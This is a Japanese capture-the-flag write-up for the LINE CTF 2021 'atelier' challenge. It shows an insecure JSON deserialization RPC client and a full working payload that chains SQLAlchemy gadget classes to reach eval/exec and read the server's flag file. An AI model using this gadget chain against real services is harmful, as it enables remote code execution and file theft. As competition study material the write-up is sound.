1
0

More than 3 years have passed since last update.

LINE CTF 2021 atelier writeup

Posted at

LINE CTF 2021にチームTSGとして参加し、PWN atelier (310pts)を解きました。チーム全体では2416ptsで7位でした。

overview

Hi and welcome to my Atelier!
attachment: client.py

rpc_clientなる関数を通して問題サーバーとの通信を行うpythonプログラムが与えられる。
通信方法はオブジェクトをJSONに変換し文字列として送信、そしてそれをパースして元に戻している。
クラスインスタンスの場合は生のJSONでは扱えないので自前の関数でencode/decodeしている。

client.py
def object_to_dict(c):
    res = {}
    res["__class__"] = str(c.__class__.__name__)
    res["__module__"] = str(c.__module__)
    res.update(c.__dict__)
    return res

def dict_to_object(d):
    if "__class__" in d:
        class_name = d.pop("__class__")
        module_name = d.pop("__module__")
        module = importlib.import_module(module_name)
        class_ = getattr(module, class_name)

        inst = class_.__new__(class_)
        inst.__dict__.update(d)
    else:
        inst = d

    return inst

async def rpc_client(message):
    message = json.dumps(message, default=object_to_dict)

    reader, writer = await asyncio.open_connection(sys.argv[1], int(sys.argv[2]))
    writer.write(message.encode())
    data = await reader.read(2000)
    writer.close()

    res = json.loads(data, object_hook=dict_to_object)
    if isinstance(res, AtelierException):
        print("Exception: " + res.message)
        exit(1)

    return res

solution

Javascriptにおけるプロトタイプ汚染のようなことが可能になっている。RecipeCreateRequestをサーバーが受け取ると、そのインスタンスのmaterials: strにアクセスしsplit(",")が呼ばれているようなので、その部分を上書きしてしまう。

attack1.py
def object_to_dict(c):
    res = {}
    res["__class__"] = str(c.__class__.__name__)
    res["__module__"] = str(c.__module__)
    res.update(c.__dict__)

    if c.__class__.__name__ == 'RecipeCreateRequest':
        res["materials"] = {"__class__": "PickleType", "__module__": "sqlalchemy", "split": "hoge"}
    return res

# Exception: TypeError("'str' object is not callable")

適当なインスタンスに替えるとこんな感じになる。この場合はsplit関数が文字列"hoge"に置き換わっているので'str' object is not callableと怒られている。この問題で面倒なのは

  • sqlalchemyのclassしか埋め込めない
  • 必ずコンストラクタ__new__が走る(引数は気にしなくても良いっぽい?)

点であり、そこまで自由に関数をsplitに上書きすることは出来ない。ここで必要なのは__call__(self, arg1)が存在するsqlalchemyのclassである。(","が与えられるので引数が一つ必要)この条件で都合が良さそうなものをGitHubで探してみると、引数の数は異なるが__call__中にevalが入っているclassが見つかる。

sqlalchemy/orm/clsregistry.py
class _class_resolver(object):
...
    def __call__(self):
        try:
            x = eval(self.arg, globals(), self._dict)

            if isinstance(x, _GetColumns):
                return x.cls
            else:
                return x
        except NameError as n:
            self._raise_for_name(n.args[0], n)

とりあえずこれを埋め込んでみようとすると「clsregistryなんてモジュールは無い」と怒られてしまった。もしかしてこのevalを使わせないようにブロックしているのでは...と思っていたらmoratorium君が古いバージョンではsqlalchemy.ext.declarative.clsregistryになっていることを見つけてくれた。LINEさんバージョンくらいは明記してくれ~

とにかくこのclassが使えそうだと分かったので、次はこの__call__を引数なしでよべるように調節する。しばらく探していると

sqlalchemy/testing/exclusions.py
class BooleanPredicate(Predicate):
    def __init__(self, value, description=None):
        self.value = value
        self.description = description or "boolean %s" % value

    def __call__(self, config):
        return self.value

    def _as_string(self, config, negate=False):
        return self._format_description(config, negate=negate)

といういかにも使い勝手のよさそうなclassが見つかった。サーバーはsplit(",")の結果このself.valueを受け取り、self.value[0], self.value[1]にアクセスすることになる。今度は__getitem__の中でself.func()のように無引数でインスタンス変数を関数として呼んでいるclassを探すと、次のようなものが見つかる。

sqlalchemy/sql/naming.py
class ConventionDict(object):
...
    def __getitem__(self, key):
        if key in self.convention:
            return self.convention[key](self.const, self.table)
        elif hasattr(self, "_key_%s" % key):
            return getattr(self, "_key_%s" % key)()
...

これで必要なものがそろったのであとは適切にメンバを設定したオブジェクトを作成する。

def object_to_dict(c):
    res = {}
    res["__class__"] = str(c.__class__.__name__)
    res["__module__"] = str(c.__module__)
    res.update(c.__dict__)

    if c.__class__.__name__ == 'RecipeCreateRequest':
        # RandomSetの部分は有効なclassであればなんでも良い
        res["materials"] = {
            "__class__": "RandomSet",
            "__module__": "sqlalchemy.testing.util",
            "split": {
                "__class__": "BooleanPredicate",
                "__module__": "sqlalchemy.testing.exclusions",
                "value": {
                    "__class__": "ConventionDict",
                    "__module__": "sqlalchemy.sql.naming", "convention": [],
                    "_key_0": {
                        "__class__": "_class_resolver",
                        "__module__": "sqlalchemy.ext.declarative.clsregistry",
                        "arg": "exec(\"raise Exception(open('flag').read())\")",
                        "_dict": {} }}}}
    return res

ちなみにevalの内容は当初exec(\"raise Exception(__import__('os').iterdir())\")でflagの場所を探していた。

Exception: Exception('LINECTF{4t3l13r_Pyza_th3_4lch3m1st_0f_PyWN}\n')

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0